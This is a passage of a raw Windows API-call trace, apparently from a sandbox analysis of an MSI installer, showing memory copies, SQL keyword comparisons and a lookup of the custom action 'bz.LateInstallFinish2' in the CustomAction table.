_Dst=0x37b08b0) returned 0x37b08b0 [0149.561] memcpy (in: _Dst=0x37b08c8, _Src=0x372928, _Size=0x2 | out: _Dst=0x37b08c8) returned 0x37b08c8 [0149.561] memcpy (in: _Dst=0x37b08e0, _Src=0x37292a, _Size=0x2 | out: _Dst=0x37b08e0) returned 0x37b08e0 [0149.561] memcpy (in: _Dst=0x37b08f8, _Src=0x37292c, _Size=0x2 | out: _Dst=0x37b08f8) returned 0x37b08f8 [0149.561] memcpy (in: _Dst=0x37b0910, _Src=0x37292e, _Size=0x2 | out: _Dst=0x37b0910) returned 0x37b0910 [0149.561] memcpy (in: _Dst=0x37b0928, _Src=0x372930, _Size=0x2 | out: _Dst=0x37b0928) returned 0x37b0928 [0149.561] memcpy (in: _Dst=0x37b0940, _Src=0x372932, _Size=0x2 | out: _Dst=0x37b0940) returned 0x37b0940 [0149.561] memcpy (in: _Dst=0x10ce138, _Src=0x372934, _Size=0x4 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.561] memcpy (in: _Dst=0x10ce138, _Src=0x372938, _Size=0x4 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.561] memcpy (in: _Dst=0x10ce138, _Src=0x37293c, _Size=0x4 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.561] memcpy (in: _Dst=0x10ce138, _Src=0x372940, _Size=0x4 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.561] memcpy (in: _Dst=0x10ce138, _Src=0x372944, _Size=0x4 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.561] memcpy (in: _Dst=0x10ce138, _Src=0x372948, _Size=0x4 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.561] memcpy (in: _Dst=0x10ce138, _Src=0x37294c, _Size=0x4 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.561] memcpy (in: _Dst=0x10ce138, _Src=0x372950, _Size=0x4 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.561] memcpy (in: _Dst=0x10ce138, _Src=0x372954, _Size=0x4 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.561] memcpy (in: _Dst=0x10ce138, _Src=0x372958, _Size=0x4 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.561] memcpy (in: _Dst=0x10ce138, _Src=0x37295c, _Size=0x4 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.561] memcpy (in: _Dst=0x10ce138, _Src=0x372960, _Size=0x4 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.561] memcpy (in: _Dst=0x10ce138, _Src=0x372964, _Size=0x4 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.561] memcpy (in: _Dst=0x10ce138, _Src=0x372968, _Size=0x4 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.561] memcpy (in: _Dst=0x10ce138, _Src=0x37296c, _Size=0x4 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.561] IUnknown:Release (This=0x32f000) returned 0x0 [0149.562] lstrcmpiW (lpString1="AS", lpString2="WHERE") returned -1 [0149.562] lstrcmpiW (lpString1="SELECT", lpString2="WHERE") returned -1 [0149.562] lstrcmpiW (lpString1="FROM", lpString2="WHERE") returned -1 [0149.562] lstrcmpiW (lpString1="AS", lpString2="WHERE") returned -1 [0149.562] lstrcmpiW (lpString1="WHERE", lpString2="WHERE") returned 0 [0149.562] lstrcmpiW (lpString1="SELECT", lpString2="WHERE") returned -1 [0149.562] lstrcmpiW (lpString1="FROM", lpString2="WHERE") returned -1 [0149.562] lstrcmpiW (lpString1="AS", lpString2="WHERE") returned -1 [0149.562] lstrcmpiW (lpString1="WHERE", lpString2="WHERE") returned 0 [0149.562] lstrcmpiW (lpString1="WHERE", lpString2="WHERE") returned 0 [0149.562] lstrlenW (lpString="Action") returned 6 [0149.562] lstrcmpiW (lpString1="SELECT", lpString2="SELECT") returned 0 [0149.562] lstrcmpiW (lpString1="SELECT", lpString2="NULL") returned 1 [0149.562] lstrcmpiW (lpString1="FROM", lpString2="NULL") returned -1 [0149.562] lstrcmpiW (lpString1="AS", lpString2="NULL") returned -1 [0149.562] lstrcmpiW (lpString1="WHERE", lpString2="NULL") returned 1 [0149.562] lstrcmpiW (lpString1="NULL", lpString2="NULL") returned 0 [0149.562] lstrcmpiW (lpString1="SELECT", lpString2="FROM") returned 1 [0149.562] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0149.562] lstrlenW (lpString="Action") returned 6 [0149.562] lstrcmpiW (lpString1="SELECT", lpString2="NULL") returned 1 [0149.562] lstrcmpiW (lpString1="FROM", lpString2="NULL") returned -1 [0149.562] lstrcmpiW (lpString1="AS", lpString2="NULL") returned -1 [0149.563] lstrcmpiW (lpString1="WHERE", lpString2="NULL") returned 1 [0149.563] lstrcmpiW (lpString1="NULL", lpString2="NULL") returned 0 [0149.563] lstrlenW (lpString="NULL") returned 4 [0149.563] lstrcmpiW (lpString1="SELECT", lpString2="FROM") returned 1 [0149.563] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0149.563] lstrcmpiW (lpString1="SELECT", lpString2="FROM") returned 1 [0149.563] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0149.563] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0149.563] GlobalUnlock (hMem=0xf40228) returned 0 [0149.563] GlobalUnlock (hMem=0xf40208) returned 0 [0149.563] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x38, wMilliseconds=0x2cf)) [0149.563] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:56") returned 9 [0149.563] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x38, wMilliseconds=0x2cf)) [0149.563] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:56") returned 9 [0149.563] GetLocalTime (in: lpSystemTime=0x10ce040 | out: lpSystemTime=0x10ce040*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x38, wMilliseconds=0x2cf)) [0149.563] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce040, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:56") returned 9 [0149.563] memcpy (in: _Dst=0x10ce2a0, _Src=0x7fef7b232f8, _Size=0x12 | out: _Dst=0x10ce2a0) returned 0x10ce2a0 [0149.563] memcpy (in: _Dst=0x29f80ca, _Src=0x10ce2a0, _Size=0x10 | out: _Dst=0x29f80ca) returned 0x29f80ca [0149.563] memcpy (in: _Dst=0x29f80da, _Src=0x34b0e6, _Size=0x4 | out: _Dst=0x29f80da) returned 0x29f80da [0149.563] memcpy (in: _Dst=0x29f80de, _Src=0x34b0ec, _Size=0x2 | out: _Dst=0x29f80de) returned 0x29f80de [0149.563] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0149.565] lstrcmpiW (lpString1="", lpString2="ALL") returned -1 [0149.565] lstrcmpW (lpString1="Advertise", lpString2="bz.LateInstallFinish2") returned -1 [0149.565] lstrcmpW (lpString1="AllocateRegistrySpace", lpString2="bz.LateInstallFinish2") returned -1 [0149.565] lstrcmpW (lpString1="AppSearch", lpString2="bz.LateInstallFinish2") returned -1 [0149.565] lstrcmpW (lpString1="BindImage", lpString2="bz.LateInstallFinish2") returned -1 [0149.565] lstrcmpW (lpString1="CCPSearch", lpString2="bz.LateInstallFinish2") returned 1 [0149.565] lstrcmpW (lpString1="CostFinalize", lpString2="bz.LateInstallFinish2") returned 1 [0149.565] lstrcmpW (lpString1="CostInitialize", lpString2="bz.LateInstallFinish2") returned 1 [0149.565] lstrcmpW (lpString1="CreateFolders", lpString2="bz.LateInstallFinish2") returned 1 [0149.565] lstrcmpW (lpString1="CreateShortcuts", lpString2="bz.LateInstallFinish2") returned 1 [0149.565] lstrcmpW (lpString1="DeleteServices", lpString2="bz.LateInstallFinish2") returned 1 [0149.565] lstrcmpW (lpString1="DuplicateFiles", lpString2="bz.LateInstallFinish2") returned 1 [0149.565] lstrcmpW (lpString1="FileCost", lpString2="bz.LateInstallFinish2") returned 1 [0149.565] lstrcmpW (lpString1="FindRelatedProducts", lpString2="bz.LateInstallFinish2") returned 1 [0149.565] lstrcmpW (lpString1="GenerateScript", lpString2="bz.LateInstallFinish2") returned 1 [0149.565] lstrcmpW (lpString1="InstallAdminPackage", lpString2="bz.LateInstallFinish2") returned 1 [0149.565] lstrcmpW (lpString1="InstallFiles", lpString2="bz.LateInstallFinish2") returned 1 [0149.565] lstrcmpW (lpString1="InstallODBC", lpString2="bz.LateInstallFinish2") returned 1 [0149.565] lstrcmpW (lpString1="InstallServices", lpString2="bz.LateInstallFinish2") returned 1 [0149.565] lstrcmpW (lpString1="InstallSFPCatalogFile", lpString2="bz.LateInstallFinish2") returned 1 [0149.565] lstrcmpW (lpString1="InstallValidate", lpString2="bz.LateInstallFinish2") returned 1 [0149.565] lstrcmpW (lpString1="LaunchConditions", lpString2="bz.LateInstallFinish2") returned 1 [0149.565] lstrcmpW (lpString1="MigrateFeatureStates", lpString2="bz.LateInstallFinish2") returned 1 [0149.566] lstrcmpW (lpString1="MoveFiles", lpString2="bz.LateInstallFinish2") returned 1 [0149.566] lstrcmpW (lpString1="MsiPublishAssemblies", lpString2="bz.LateInstallFinish2") returned 1 [0149.566] lstrcmpW (lpString1="MsiUnpublishAssemblies", lpString2="bz.LateInstallFinish2") returned 1 [0149.566] lstrcmpW (lpString1="PatchFiles", lpString2="bz.LateInstallFinish2") returned 1 [0149.566] lstrcmpW (lpString1="ProcessComponents", lpString2="bz.LateInstallFinish2") returned 1 [0149.566] lstrcmpW (lpString1="PublishComponents", lpString2="bz.LateInstallFinish2") returned 1 [0149.566] lstrcmpW (lpString1="PublishFeatures", lpString2="bz.LateInstallFinish2") returned 1 [0149.566] lstrcmpW (lpString1="PublishProduct", lpString2="bz.LateInstallFinish2") returned 1 [0149.566] lstrcmpW (lpString1="RegisterClassInfo", lpString2="bz.LateInstallFinish2") returned 1 [0149.566] lstrcmpW (lpString1="RegisterComPlus", lpString2="bz.LateInstallFinish2") returned 1 [0149.566] lstrcmpW (lpString1="RegisterExtensionInfo", lpString2="bz.LateInstallFinish2") returned 1 [0149.566] lstrcmpW (lpString1="RegisterFonts", lpString2="bz.LateInstallFinish2") returned 1 [0149.566] lstrcmpW (lpString1="RegisterMIMEInfo", lpString2="bz.LateInstallFinish2") returned 1 [0149.566] lstrcmpW (lpString1="RegisterProduct", lpString2="bz.LateInstallFinish2") returned 1 [0149.566] lstrcmpW (lpString1="RegisterProgIdInfo", lpString2="bz.LateInstallFinish2") returned 1 [0149.566] lstrcmpW (lpString1="RegisterTypeLibraries", lpString2="bz.LateInstallFinish2") returned 1 [0149.566] lstrcmpW (lpString1="RegisterUser", lpString2="bz.LateInstallFinish2") returned 1 [0149.566] lstrcmpW (lpString1="RemoveDuplicateFiles", lpString2="bz.LateInstallFinish2") returned 1 [0149.566] lstrcmpW (lpString1="RemoveEnvironmentStrings", lpString2="bz.LateInstallFinish2") returned 1 [0149.566] lstrcmpW (lpString1="RemoveExistingProducts", lpString2="bz.LateInstallFinish2") returned 1 [0149.566] lstrcmpW (lpString1="RemoveFiles", lpString2="bz.LateInstallFinish2") returned 1 [0149.566] lstrcmpW (lpString1="RemoveFolders", lpString2="bz.LateInstallFinish2") returned 1 [0149.566] lstrcmpW (lpString1="RemoveIniValues", lpString2="bz.LateInstallFinish2") returned 1 [0149.567] lstrcmpW (lpString1="RemoveODBC", lpString2="bz.LateInstallFinish2") returned 1 [0149.567] lstrcmpW (lpString1="RemoveRegistryValues", lpString2="bz.LateInstallFinish2") returned 1 [0149.567] lstrcmpW (lpString1="RemoveShortcuts", lpString2="bz.LateInstallFinish2") returned 1 [0149.567] lstrcmpW (lpString1="RMCCPSearch", lpString2="bz.LateInstallFinish2") returned 1 [0149.567] lstrcmpW (lpString1="Rollback", lpString2="bz.LateInstallFinish2") returned 1 [0149.567] lstrcmpW (lpString1="RollbackCleanup", lpString2="bz.LateInstallFinish2") returned 1 [0149.567] lstrcmpW (lpString1="SelfRegModules", lpString2="bz.LateInstallFinish2") returned 1 [0149.567] lstrcmpW (lpString1="SelfUnregModules", lpString2="bz.LateInstallFinish2") returned 1 [0149.567] lstrcmpW (lpString1="SetODBCFolders", lpString2="bz.LateInstallFinish2") returned 1 [0149.567] lstrcmpW (lpString1="StartServices", lpString2="bz.LateInstallFinish2") returned 1 [0149.567] lstrcmpW (lpString1="StopServices", lpString2="bz.LateInstallFinish2") returned 1 [0149.567] lstrcmpW (lpString1="UnmoveFiles", lpString2="bz.LateInstallFinish2") returned 1 [0149.567] lstrcmpW (lpString1="UnpublishComponents", lpString2="bz.LateInstallFinish2") returned 1 [0149.567] lstrcmpW (lpString1="UnpublishFeatures", lpString2="bz.LateInstallFinish2") returned 1 [0149.567] lstrcmpW (lpString1="UnpublishProduct", lpString2="bz.LateInstallFinish2") returned 1 [0149.567] lstrcmpW (lpString1="UnregisterClassInfo", lpString2="bz.LateInstallFinish2") returned 1 [0149.567] lstrcmpW (lpString1="UnregisterComPlus", lpString2="bz.LateInstallFinish2") returned 1 [0149.567] lstrcmpW (lpString1="UnregisterExtensionInfo", lpString2="bz.LateInstallFinish2") returned 1 [0149.567] lstrcmpW (lpString1="UnregisterFonts", lpString2="bz.LateInstallFinish2") returned 1 [0149.567] lstrcmpW (lpString1="UnregisterMIMEInfo", lpString2="bz.LateInstallFinish2") returned 1 [0149.567] lstrcmpW (lpString1="UnregisterProgIdInfo", lpString2="bz.LateInstallFinish2") returned 1 [0149.567] lstrcmpW (lpString1="UnregisterTypeLibraries", lpString2="bz.LateInstallFinish2") returned 1 [0149.567] lstrcmpW (lpString1="WriteEnvironmentStrings", lpString2="bz.LateInstallFinish2") returned 1 [0149.567] lstrcmpW (lpString1="WriteIniValues", lpString2="bz.LateInstallFinish2") returned 1 [0149.567] lstrcmpW (lpString1="WriteRegistryValues", lpString2="bz.LateInstallFinish2") returned 1 [0149.567] lstrcmpW (lpString1="ShutdownApplications", lpString2="bz.LateInstallFinish2") returned 1 [0149.567] lstrcmpW (lpString1="ConfigureServices", lpString2="bz.LateInstallFinish2") returned 1 [0149.567] lstrcmpW (lpString1="ConfigureServicesUnsupoortedOS", lpString2="bz.LateInstallFinish2") returned 1 [0149.568] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x38, wMilliseconds=0x2de)) [0149.568] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:56") returned 9 [0149.568] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x38, wMilliseconds=0x2de)) [0149.568] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:56") returned 9 [0149.568] GetLocalTime (in: lpSystemTime=0x10ce040 | out: lpSystemTime=0x10ce040*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x38, wMilliseconds=0x2de)) [0149.568] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce040, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:56") returned 9 [0149.568] memcpy (in: _Dst=0x10ce2a0, _Src=0x7fef7b232f8, _Size=0x12 | out: _Dst=0x10ce2a0) returned 0x10ce2a0 [0149.568] memcpy (in: _Dst=0x29f80be, _Src=0x10ce2a0, _Size=0x10 | out: _Dst=0x29f80be) returned 0x29f80be [0149.568] memcpy (in: _Dst=0x29f80ce, _Src=0x2104b8a, _Size=0x4 | out: _Dst=0x29f80ce) returned 0x29f80ce [0149.568] memcpy (in: _Dst=0x29f80d2, _Src=0x2104b90, _Size=0x2 | out: _Dst=0x29f80d2) returned 0x29f80d2 [0149.568] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0149.569] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x38, wMilliseconds=0x2de)) [0149.569] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:56") returned 9 [0149.569] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x38, wMilliseconds=0x2de)) [0149.569] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:56") returned 9 [0149.569] GetLocalTime (in: lpSystemTime=0x10ce040 | out: lpSystemTime=0x10ce040*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x38, wMilliseconds=0x2de)) [0149.569] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce040, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:56") returned 9 [0149.569] memcpy (in: _Dst=0x10ce2a0, _Src=0x7fef7b232f8, _Size=0x12 | out: _Dst=0x10ce2a0) returned 0x10ce2a0 [0149.569] memcpy (in: _Dst=0x29f80ca, _Src=0x10ce2a0, _Size=0x10 | out: _Dst=0x29f80ca) returned 0x29f80ca [0149.569] memcpy (in: _Dst=0x29f80da, _Src=0x376446, _Size=0x4 | out: _Dst=0x29f80da) returned 0x29f80da [0149.569] memcpy (in: _Dst=0x29f80de, _Src=0x37644c, _Size=0x2 | out: _Dst=0x29f80de) returned 0x29f80de [0149.569] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0149.571] lstrlenW (lpString="SELECT `Action`,`Type`,`Source`,`Target`, NULL, `ExtendedType` FROM `CustomAction` WHERE `Action` = '%s'") returned 104 [0149.571] lstrlenW (lpString="bz.LateInstallFinish2") returned 21 [0149.571] _vsnwprintf (in: _Buffer=0x21c47b0, _BufferCount=0x7d, _Format="SELECT `Action`,`Type`,`Source`,`Target`, NULL, `ExtendedType` FROM `CustomAction` WHERE `Action` = '%s'", _ArgList=0x10ce418 | out: _Buffer="SELECT `Action`,`Type`,`Source`,`Target`, NULL, `ExtendedType` FROM `CustomAction` WHERE `Action` = 'bz.LateInstallFinish2'") returned 123 [0149.572] GlobalLock (hMem=0xf40208) returned 0x3cc0f0 [0149.572] lstrcmpiW (lpString1="SELECT", lpString2="SELECT") returned 0 [0149.572] lstrcmpiW (lpString1="SELECT", lpString2="NULL") returned 1 [0149.572] lstrcmpiW (lpString1="FROM", lpString2="NULL") returned -1 [0149.572] lstrcmpiW (lpString1="AS", lpString2="NULL") returned -1 [0149.572] lstrcmpiW (lpString1="WHERE", lpString2="NULL") returned 1 [0149.572] lstrcmpiW (lpString1="NULL", lpString2="NULL") returned 0 [0149.572] lstrcmpiW (lpString1="SELECT", lpString2="FROM") returned 1 [0149.572] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0149.572] lstrlenW (lpString="CustomAction") returned 12 [0149.572] IStorage:RemoteOpenStream (in: This=0x2fcb20, pwcsName="䡀䘌䗶䐲䆊䌷䑲", cbReserved1=0x0, reserved1=0x10, grfMode=0x0, reserved2=0x10ce060, ppstm=0x0 | out: ppstm=0x0) returned 0x0 [0149.572] IStream:Stat (in: This=0x32f000, pstatstg=0x10cdfc0, grfStatFlag=0x1 | out: pstatstg=0x10cdfc0) returned 0x0 [0149.572] GlobalLock (hMem=0xf40228) returned 0x37b01a0 [0149.572] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x3728bc, cb=0x400, pcbRead=0x372cbc | out: pv=0x3728bc*=0xae, pcbRead=0x372cbc*=0xb4) returned 0x0 [0149.572] memcpy (in: _Dst=0x37b01a4, _Src=0x3728bc, _Size=0x2 | out: _Dst=0x37b01a4) returned 0x37b01a4 [0149.572] memcpy (in: _Dst=0x37b01bc, _Src=0x3728be, _Size=0x2 | out: _Dst=0x37b01bc) returned 0x37b01bc [0149.572] memcpy (in: _Dst=0x37b01d4, _Src=0x3728c0, _Size=0x2 | out: _Dst=0x37b01d4) returned 0x37b01d4 [0149.572] memcpy (in: _Dst=0x37b01ec, _Src=0x3728c2, _Size=0x2 | out: _Dst=0x37b01ec) returned 0x37b01ec [0149.572] memcpy (in: _Dst=0x37b0204, _Src=0x3728c4, _Size=0x2 | out: _Dst=0x37b0204) returned 0x37b0204 [0149.572] memcpy (in: _Dst=0x37b021c, _Src=0x3728c6, _Size=0x2 | out: _Dst=0x37b021c) returned 0x37b021c [0149.572] memcpy (in: _Dst=0x37b0234, _Src=0x3728c8, _Size=0x2 | out: _Dst=0x37b0234) returned 0x37b0234 [0149.572] memcpy (in: _Dst=0x37b024c, _Src=0x3728ca, _Size=0x2 | out: _Dst=0x37b024c) returned 0x37b024c [0149.572] memcpy (in: _Dst=0x37b0264, _Src=0x3728cc, _Size=0x2 | out: _Dst=0x37b0264) returned 0x37b0264 [0149.572] memcpy (in: _Dst=0x37b027c, _Src=0x3728ce, _Size=0x2 | out: _Dst=0x37b027c) returned 0x37b027c [0149.573] memcpy (in: _Dst=0x37b0294, _Src=0x3728d0, _Size=0x2 | out: _Dst=0x37b0294) returned 0x37b0294 [0149.573] memcpy (in: _Dst=0x37b02ac, _Src=0x3728d2, _Size=0x2 | out: _Dst=0x37b02ac) returned 0x37b02ac [0149.573] memcpy (in: _Dst=0x37b02c4, _Src=0x3728d4, _Size=0x2 | out: _Dst=0x37b02c4) returned 0x37b02c4 [0149.573] memcpy (in: _Dst=0x37b02dc, _Src=0x3728d6, _Size=0x2 | out: _Dst=0x37b02dc) returned 0x37b02dc [0149.573] memcpy (in: _Dst=0x37b02f4, _Src=0x3728d8, _Size=0x2 | out: _Dst=0x37b02f4) returned 0x37b02f4 [0149.573] memcpy (in: _Dst=0x10ce138, _Src=0x3728da, _Size=0x2 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.573] memcpy (in: _Dst=0x10ce138, _Src=0x3728dc, _Size=0x2 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.573] memcpy (in: _Dst=0x10ce138, _Src=0x3728de, _Size=0x2 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.573] memcpy (in: _Dst=0x10ce138, _Src=0x3728e0, _Size=0x2 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.573] memcpy (in: _Dst=0x10ce138, _Src=0x3728e2, _Size=0x2 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.573] memcpy (in: _Dst=0x10ce138, _Src=0x3728e4, _Size=0x2 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.573] memcpy (in: _Dst=0x10ce138, _Src=0x3728e6, _Size=0x2 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.573] memcpy (in: _Dst=0x10ce138, _Src=0x3728e8, _Size=0x2 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.573] memcpy (in: _Dst=0x10ce138, _Src=0x3728ea, _Size=0x2 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.573] memcpy (in: _Dst=0x10ce138, _Src=0x3728ec, _Size=0x2 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.573] memcpy (in: _Dst=0x10ce138, _Src=0x3728ee, _Size=0x2 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.573] memcpy (in: _Dst=0x10ce138, _Src=0x3728f0, _Size=0x2 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.573] memcpy (in: _Dst=0x10ce138, _Src=0x3728f2, _Size=0x2 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.573] memcpy (in: _Dst=0x10ce138, _Src=0x3728f4, _Size=0x2 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.573] memcpy (in: _Dst=0x10ce138, _Src=0x3728f6, _Size=0x2 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.573] memcpy (in: _Dst=0x37b01ac, _Src=0x3728f8, _Size=0x2 | out: _Dst=0x37b01ac) returned 0x37b01ac [0149.573] memcpy (in: _Dst=0x37b01c4, _Src=0x3728fa, _Size=0x2 | out: _Dst=0x37b01c4) returned 0x37b01c4 [0149.573] memcpy (in: _Dst=0x37b01dc, _Src=0x3728fc, _Size=0x2 | out: _Dst=0x37b01dc) returned 0x37b01dc [0149.573] memcpy (in: _Dst=0x37b01f4, _Src=0x3728fe, _Size=0x2 | out: _Dst=0x37b01f4) returned 0x37b01f4 [0149.573] memcpy (in: _Dst=0x37b020c, _Src=0x372900, _Size=0x2 | out: _Dst=0x37b020c) returned 0x37b020c [0149.573] memcpy (in: _Dst=0x37b0224, _Src=0x372902, _Size=0x2 | out: _Dst=0x37b0224) returned 0x37b0224 [0149.573] memcpy (in: _Dst=0x37b023c, _Src=0x372904, _Size=0x2 | out: _Dst=0x37b023c) returned 0x37b023c [0149.573] memcpy (in: _Dst=0x37b0254, _Src=0x372906, _Size=0x2 | out: _Dst=0x37b0254) returned 0x37b0254 [0149.573] memcpy (in: _Dst=0x37b026c, _Src=0x372908, _Size=0x2 | out: _Dst=0x37b026c) returned 0x37b026c [0149.573] memcpy (in: _Dst=0x37b0284, _Src=0x37290a, _Size=0x2 | out: _Dst=0x37b0284) returned 0x37b0284 [0149.574] memcpy (in: _Dst=0x37b029c, _Src=0x37290c, _Size=0x2 | out: _Dst=0x37b029c) returned 0x37b029c [0149.574] memcpy (in: _Dst=0x37b02b4, _Src=0x37290e, _Size=0x2 | out: _Dst=0x37b02b4) returned 0x37b02b4 [0149.574] memcpy (in: _Dst=0x37b02cc, _Src=0x372910, _Size=0x2 | out: _Dst=0x37b02cc) returned 0x37b02cc [0149.574] memcpy (in: _Dst=0x37b02e4, _Src=0x372912, _Size=0x2 | out: _Dst=0x37b02e4) returned 0x37b02e4 [0149.574] memcpy (in: _Dst=0x37b02fc, _Src=0x372914, _Size=0x2 | out: _Dst=0x37b02fc) returned 0x37b02fc [0149.574] memcpy (in: _Dst=0x37b01b0, _Src=0x372916, _Size=0x2 | out: _Dst=0x37b01b0) returned 0x37b01b0 [0149.574] memcpy (in: _Dst=0x37b01c8, _Src=0x372918, _Size=0x2 | out: _Dst=0x37b01c8) returned 0x37b01c8 [0149.574] memcpy (in: _Dst=0x37b01e0, _Src=0x37291a, _Size=0x2 | out: _Dst=0x37b01e0) returned 0x37b01e0 [0149.574] memcpy (in: _Dst=0x37b01f8, _Src=0x37291c, _Size=0x2 | out: _Dst=0x37b01f8) returned 0x37b01f8 [0149.574] memcpy (in: _Dst=0x37b0210, _Src=0x37291e, _Size=0x2 | out: _Dst=0x37b0210) returned 0x37b0210 [0149.574] memcpy (in: _Dst=0x37b0228, _Src=0x372920, _Size=0x2 | out: _Dst=0x37b0228) returned 0x37b0228 [0149.574] memcpy (in: _Dst=0x37b0240, _Src=0x372922, _Size=0x2 | out: _Dst=0x37b0240) returned 0x37b0240 [0149.574] memcpy (in: _Dst=0x37b0258, _Src=0x372924, _Size=0x2 | out: _Dst=0x37b0258) returned 0x37b0258 [0149.574] memcpy (in: _Dst=0x37b0270, _Src=0x372926, _Size=0x2 | out: _Dst=0x37b0270) returned 0x37b0270 [0149.574] memcpy (in: _Dst=0x37b0288, _Src=0x372928, _Size=0x2 | out: _Dst=0x37b0288) returned 0x37b0288 [0149.574] memcpy (in: _Dst=0x37b02a0, _Src=0x37292a, _Size=0x2 | out: _Dst=0x37b02a0) returned 0x37b02a0 [0149.574] memcpy (in: _Dst=0x37b02b8, _Src=0x37292c, _Size=0x2 | out: _Dst=0x37b02b8) returned 0x37b02b8 [0149.574] memcpy (in: _Dst=0x37b02d0, _Src=0x37292e, _Size=0x2 | out: _Dst=0x37b02d0) returned 0x37b02d0 [0149.574] memcpy (in: _Dst=0x37b02e8, _Src=0x372930, _Size=0x2 | out: _Dst=0x37b02e8) returned 0x37b02e8 [0149.574] memcpy (in: _Dst=0x37b0300, _Src=0x372932, _Size=0x2 | out: _Dst=0x37b0300) returned 0x37b0300 [0149.574] memcpy (in: _Dst=0x10ce138, _Src=0x372934, _Size=0x4 | out: _Dst=0x10ce138) returned 